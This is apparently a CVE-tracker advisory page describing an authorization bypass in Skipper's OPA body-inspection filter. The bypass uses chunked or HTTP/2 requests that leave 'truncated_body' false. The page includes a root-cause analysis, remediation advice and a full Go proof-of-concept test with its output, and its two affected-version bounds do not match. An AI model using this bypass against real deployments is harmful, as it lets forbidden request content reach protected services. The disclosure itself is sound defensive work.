CVE Watchtower

CVE-2026-86043github.com/zalando/skipper Incorrect Authorization

NVD

Vulnerability Summary

- **Affected component:** `filters/openpolicyagent/openpolicyagent.go` → `ExtractHttpBodyOptionally`; combined with `github.com/open-policy-agent/opa-envoy-plugin` `envoyauth/request.go` → `getParsedBody` / `checkIfHTTPBodyTruncated`. Filter: `opaAuthorizeRequestWithBody`.
- **Affected versions:** `<= 0.27.33` (current HEAD `e7d7014c`). The `truncated_body` mitigation was introduced/recommended in v0.27.26 (advisory GHSA-8qqm-fp2q-v734) and remains bypassable.
- **Fix chain being audited:** CVE-2026-50197 (GHSA-659f-rgp5-w4wf, commit `3152f3b0`) → GHSA-8qqm-fp2q-v734 (docs + code, commit `1be950cd` #4126, v0.27.26). This finding is the third, still-open variant.

## Summary

Skipper's `opaAuthorizeRequestWithBody` filter authorizes requests by handing the (bounded) request body to Open Policy Agent. When a body exceeds `-open-policy-agent-max-request-body-size` (default 1 MB), Skipper truncates it before OPA sees it. Advisory **GHSA-8qqm-fp2q-v734** established that deny-on-presence / body-inspecting policies fail OPEN on oversized bodies, and its remediation instructs policy authors to **guard on `input.attributes.request.http.truncated_body`** (implemented as the top-level `input.truncated_body`):

```rego
default allow := false
allow if {
input.truncated_body == false
# ... body-based conditions
}
```

That mitigation is itself incomplete. The `truncated_body` flag is computed by the OPA envoy plugin **only when a `content-length` header is present**. A request sent with `Transfer-Encoding: chunked` (HTTP/1.1) or over HTTP/2 carries **no `content-length`**, so `truncated_body` is left `false` even though Skipper truncated the body. The mitigated policy therefore evaluates `input.truncated_body == false` as *true* and **ALLOWS** the request, while the **full, un-inspected oversized payload is forwarded to the upstream** (Skipper's `bufferedBodyReader` streams the buffered prefix and then continues draining the original body).

The transport that defeats the mitigation — chunked / HTTP-2 without Content-Length — is the **exact transport class the original CVE-2026-50197 was about**; the GHSA-8qqm fix closed the declared-Content-Length variant and its positive-control test only exercised *small* chunked bodies, never *oversized* chunked bodies.

## Root cause

`opa-envoy-plugin/envoyauth/request.go`:

```go
func getParsedBody(...) (any, bool, error) {
if val, ok := headers["content-type"]; ok {
if strings.Contains(val, "application/json") {
...
if val, ok := headers["content-length"]; ok { // <-- only path that sets truncation
truncated, err := checkIfHTTPBodyTruncated(val, int64(len(body)))
...
if truncated { return nil, true, nil }
}
...
} else if ... "application/x-www-form-urlencoded" { /* same content-length gate */ }
else if ... "multipart/form-data" { /* same content-length gate */ }
}
return data, false, nil // <-- no content-length ==> truncated_body = false
}

func checkIfHTTPBodyTruncated(contentLength string, bodyLength int64) (bool, error) {
cl, _ := strconv.ParseInt(contentLength, 10, 64)
if cl != -1 && cl > bodyLength { return true, nil }
return false, nil
}
```

Truncation can only ever be signalled by comparing `content-length` against the received body length. With chunked/HTTP-2 there is no `content-length`, so the comparison is skipped and `truncated_body` is reported `false`. Skipper (`ExtractHttpBodyOptionally`) meanwhile *does* truncate the chunked body to `maxBodyBytes` (it sets `expectedSize = maxBodyBytes` when `req.ContentLength < 0`), producing the exact divergence: OPA is told "not truncated", but the body was truncated, and the backend receives the whole thing.

## Reachability

1. Deployment runs `opaAuthorizeRequestWithBody` with a body-inspecting policy that follows the GHSA-8qqm mitigation (`allow if input.truncated_body == false`). This is the maintainer-recommended configuration (advisory + v0.27.26 docs).
2. Attacker sends a request whose body exceeds `max-request-body-size` using `Transfer-Encoding: chunked` (or HTTP/2). No `content-length` header is present.
3. `ExtractHttpBodyOptionally` reads/truncates the body to `maxBodyBytes`; `rawBody` is the truncated prefix.
4. `AdaptToExtAuthRequest` forwards the lowercased headers (no `content-length`) and the truncated `RawBody` to OPA.
5. `getParsedBody` finds no `content-length` → `truncated_body = false`; for a non-parsed content-type it also returns `parsed_body = null` with no error.
6. Policy: `input.truncated_body == false` is satisfied → `allow = true`.
7. Skipper forwards the request; `bufferedBodyReader.Read` serves the buffered prefix and then continues reading the original `req.Body`, delivering the **full oversized payload** to the upstream.

Every guard on the path is accounted for: the only "guard" is `truncated_body`, and it is defeated by omitting `content-length`.

## Impact

Bypass of OPA request-body authorization for any deployment that adopted the official `truncated_body` mitigation. Requests that the policy is meant to reject (oversized / un-inspectable bodies, or bodies whose forbidden content lies beyond the inspection window) are authorized and forwarded in full to the protected upstream. Same security property and severity class as CVE-2026-50197 / GHSA-8qqm (both High).

## CVSS 3.1

Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` = **7.5 High**

- **AV:N** — remote HTTP request.
- **AC:L** — single crafted request; no race/special conditions (just chunked framing + padding).
- **PR:N / UI:N** — unauthenticated, no user interaction.
- **S:U** — impact within the authorized component/upstream trust scope.
- **C:N** — no direct disclosure by the bypass itself.
- **I:H** — authorization control is bypassed; forbidden request content reaches the upstream (integrity of the access-control decision / protected resource).
- **A:N** — not primarily an availability issue.

(Conditional: exploitable only where `opaAuthorizeRequestWithBody` is used with a `truncated_body`-gated policy — i.e. deployments that followed the GHSA-8qqm mitigation. Consistent with the conditional nature of the parent CVEs.)

## Proof of Concept

Executable Go test added to the OPA filter package. It stands up a real Skipper proxy (`proxy.WithParams`) + a real OPA control plane (`opasdktest`) with `WithMaxRequestBodyBytes(32)` and the advisory's verbatim mitigation policy (`allow if input.truncated_body == false`), routed to a recording upstream.

- **Positive control** — oversized body **with Content-Length** → `truncated_body=true` → **403** (mitigation works).
- **Bypass** — identical oversized body sent **chunked** (no Content-Length) → `truncated_body=false` → **200**, and the upstream receives the **full** 66-byte payload past the 32-byte inspection cap.

Command and observed benign output:

```
$ go test ./filters/openpolicyagent/ -run TestTruncatedBodyChunkedBypass -count=1 -v

poc_truncated_body_chunked_test.go:148: [content-length ] status=403 upstream_body_bytes=-1
poc_truncated_body_chunked_test.go:154: [chunked ] status=200 upstream_body_bytes=66
--- PASS: TestTruncatedBodyChunkedBypass (0.11s)
PASS
```

- content-length variant → **403**, upstream received nothing (`-1`) — mitigation works.
- chunked variant (byte-identical body) → **200**, upstream received the **full 66-byte** payload past the 32-byte cap — **authorization bypass**.

(Full PoC source is appended below by the submission tool via `--poc-file`.)

## Adversarial re-read (refutation attempts)

- *"Truncated JSON just fails to parse → fail closed."* True for `application/json` when truncation lands mid-token, but the bypass does not rely on JSON: `application/x-www-form-urlencoded` parses leniently after truncation, and unparsed/absent content-types return `(nil, false, nil)` with no error. The load-bearing signal is `truncated_body`, not `parsed_body`, and it is `false` in all these cases.
- *"Maybe Skipper adds a content-length for chunked before OPA sees it."* No — `AdaptToExtAuthRequest` copies `req.Header` verbatim (lowercased); a chunked request has no `content-length` header, and net/http does not synthesise one. Confirmed by reading `skipperadapter.go`.
- *"Maybe the mitigation is `deny if truncated_body == true` (allow-by-default), which is unaffected."* Both shapes in the advisory rely on `truncated_body` correctly reflecting truncation; the deny-if shape simply *fails to deny* under the same chunked condition. The allow-if shape (shown) fails open directly.
- *"Is this already covered by CVE-2026-50197?"* No. 50197 was the *empty-body* chunked bypass (OPA saw no body); its fix makes OPA see the truncated prefix. GHSA-8qqm was the declared-Content-Length oversized variant; its fix populates `parsed_body` and recommends `truncated_body`. Neither addresses `truncated_body` being unset for chunked/HTTP-2 oversized bodies. The 8qqm positive-control test only used small chunked bodies.

Result: survives refutation; concrete, reproducible bypass of the published mitigation. Differentiation check passes (incomplete-fix of a published advisory, not a generic surface bug).

## Remediation

Do not rely on the client-supplied `content-length` header to detect truncation. Skipper should signal truncation authoritatively to OPA rather than delegating to the plugin's Content-Length heuristic. Concretely, in `ExtractHttpBodyOptionally`, detect that the underlying body still has bytes after `maxBodyBytes` were buffered (e.g. attempt one more read / peek) and propagate a definitive truncation indicator — for example by setting a synthetic `content-length` (or a dedicated context extension / metadata field) that reflects the real truncation state, so `input.truncated_body` is `true` whenever the body was actually cut, regardless of transfer encoding. Alternatively, reject (413) requests whose body exceeds `maxBodyBytes` when body-based authorization is enabled, instead of silently truncating. Upstream, `opa-envoy-plugin` should treat "body present but not fully inspectable and no content-length" as truncated rather than defaulting to `false`.

## Confidence

High. Root cause verified in both Skipper and the pinned `opa-envoy-plugin@v1.14.1-envoy` source; executable PoC demonstrates the status/upstream-body divergence against the maintainer's own recommended mitigation.


## Proof-of-Concept source (`poc_truncated_body_chunked_test.go`)

```go
package openpolicyagent_test

import (
"fmt"
"io"
"net/http"
"net/http/httptest"
"strings"
"sync/atomic"
"testing"
"time"

opasdktest "github.com/open-policy-agent/opa/v1/sdk/test"
"github.com/stretchr/testify/assert"
"github.com/zalando/skipper/eskip"
"github.com/zalando/skipper/filters"
"github.com/zalando/skipper/filters/builtin"
"github.com/zalando/skipper/filters/openpolicyagent"
"github.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest"
"github.com/zalando/skipper/proxy"
"github.com/zalando/skipper/routing"
"github.com/zalando/skipper/routing/testdataclient"
)

// TestTruncatedBodyChunkedBypass demonstrates that the GHSA-8qqm-fp2q-v734
// mitigation ("check input.truncated_body in your policy") fails OPEN when the
// oversized request is sent with Transfer-Encoding: chunked (no Content-Length).
//
// The mitigation Rego (verbatim from the advisory):
//
// default allow := false
// allow if { input.truncated_body == false }
//
// truncated_body is derived by the OPA envoy plugin ONLY when a content-length
// header is present (opa-envoy-plugin envoyauth/request.go getParsedBody ->
// checkIfHTTPBodyTruncated). A chunked / HTTP-2 request carries no
// content-length, so truncated_body stays false even though Skipper truncated
// the body to max-request-body-size. The mitigated policy therefore ALLOWS an
// oversized body and the full payload reaches upstream.
func TestTruncatedBodyChunkedBypass(t *testing.T) {
const maxBody = 32
// oversized url-encoded payload: "a=" + 64 * "A" = 66 bytes > 32.
payload := "a=" + strings.Repeat("A", 64)

// upstream records how many body bytes it actually received.
var upstreamBytes atomic.Int64
backend := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
n, _ := io.Copy(io.Discard, r.Body)
upstreamBytes.Store(n)
w.WriteHeader(200)
w.Write([]byte("OK"))
}))
defer backend.Close()

bundleName := "test-bundle"
opaControlPlane := opasdktest.MustNewServer(
opasdktest.MockBundle("/bundles/"+bundleName, map[string]string{
// The exact mitigation the advisory recommends.
"main.rego": `
package envoy.authz

import rego.v1

default allow := false

allow if {
input.truncated_body == false
}
`,
}),
)
defer opaControlPlane.Stop()

config := fmt.Appendf(nil, `{
"services": {"test": {"url": %q}},
"bundles": {"test": {"resource": "/bundles/{{ .bundlename }}"}},
"labels": {"environment": "test"},
"plugins": {"envoy_ext_authz_grpc": {"path": "envoy/authz/allow", "dry-run": false}}
}`, opaControlPlane.URL())

opaRegistry, err := openpolicyagent.NewOpenPolicyAgentRegistry(
openpolicyagent.WithPreloadingEnabled(true),
openpolicyagent.WithEnableDataPreProcessingOptimization(true),
openpolicyagent.WithInstanceStartupTimeout(5*time.Second),
openpolicyagent.WithMaxRequestBodyBytes(maxBody),
openpolicyagent.WithOpenPolicyAgentInstanceConfig(
openpolicyagent.WithConfigTemplate(config)),
)
if err != nil {
t.Fatalf("opaRegistry: %v", err)
}
defer opaRegistry.Close()

fr := make(filters.Registry)
fr.Register(opaauthorizerequest.NewOpaAuthorizeRequestWithBodySpec(opaRegistry))
fr.Register(builtin.NewSetPath())

docFmt := `r1: * -> opaAuthorizeRequestWithBody("%s") -> "%s";`
r := eskip.MustParse(fmt.Sprintf(docFmt, bundleName, backend.URL))
dc := testdataclient.New(r)
defer dc.Close()

rt := routing.New(routing.Options{
FilterRegistry: fr,
DataClients: []routing.DataClient{dc},
PreProcessors: []routing.PreProcessor{opaRegistry.NewPreProcessor()},
PostProcessors: []routing.PostProcessor{opaRegistry},
PollTimeout: time.Second,
SignalFirstLoad: true,
})
defer rt.Close()
<-rt.FirstLoad()

pr := proxy.WithParams(proxy.Params{Routing: rt})
defer pr.Close()
ts := httptest.NewServer(pr)
defer ts.Close()

inst, err := opaRegistry.GetOrStartInstance(bundleName)
assert.NoError(t, err)
assert.NotNil(t, inst)

doReq := func(chunked bool) (int, int64) {
upstreamBytes.Store(-1)
req, err := http.NewRequest("POST", ts.URL, strings.NewReader(payload))
if err != nil {
t.Fatalf("new request: %v", err)
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
if chunked {
// Force chunked framing: no Content-Length reaches the server,
// so the server sees req.ContentLength == -1.
req.ContentLength = -1
req.TransferEncoding = []string{"chunked"}
}
rsp, err := ts.Client().Do(req)
if err != nil {
t.Fatalf("do: %v", err)
}
io.Copy(io.Discard, rsp.Body)
rsp.Body.Close()
return rsp.StatusCode, upstreamBytes.Load()
}

// POSITIVE CONTROL: oversized body WITH Content-Length.
// truncated_body == true -> policy denies. Mitigation works as designed.
clStatus, clUpstream := doReq(false)
t.Logf("[content-length ] status=%d upstream_body_bytes=%d", clStatus, clUpstream)
assert.Equal(t, 403, clStatus, "oversized body with Content-Length must be DENIED (mitigation working)")

// BYPASS: identical oversized body sent CHUNKED (no Content-Length).
// truncated_body == false -> policy ALLOWS -> full payload reaches upstream.
chStatus, chUpstream := doReq(true)
t.Logf("[chunked ] status=%d upstream_body_bytes=%d", chStatus, chUpstream)

assert.Equal(t, 200, chStatus, "BYPASS: oversized chunked body was ALLOWED by the truncated_body mitigation")
assert.Equal(t, int64(len(payload)), chUpstream,
"BYPASS: upstream received the FULL oversized payload past OPA authorization")
}

```
Severity Level
HIGH(7.5)
Published Date
Sep 16, 2026
Last Modified
Sep 17, 2026
Exploitation Status
Public exploit available
CVE Record Status
Published
EPSS Score (30-Day)
0.45%Probability
Root Weakness (CWE)
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
CVSS v3.1 Base Metrics — Score 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityNone
IntegrityHigh
AvailabilityNone

Affected & Patched Versions

Affected Versions
  • github.com/zalando/skipper < 0.27.37
Patched Versions
No patched version published yet
Until a fix ships, reduce exposure:
  • Restrict access to the affected service or interface to trusted networks.
  • Disable the affected feature if you do not need it.
  • Watch the vendor advisory for a firmware or software update.

What to do

Prioritize this fix. Exploit code is public, so attacks can follow quickly.

  1. Check whether you run github.com/zalando/skipper and which version.
  2. No patched version is listed yet. Limit access to the affected service to trusted networks, and disable the feature if you can.
  3. Subscribe to the vendor advisory so you learn when a fix ships.
  4. Review logs and exposed services for signs of earlier compromise.

Timeline

  • Sep 16, 2026Published
  • Sep 17, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

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Data last checked: Sep 23, 2026 10:57 UTC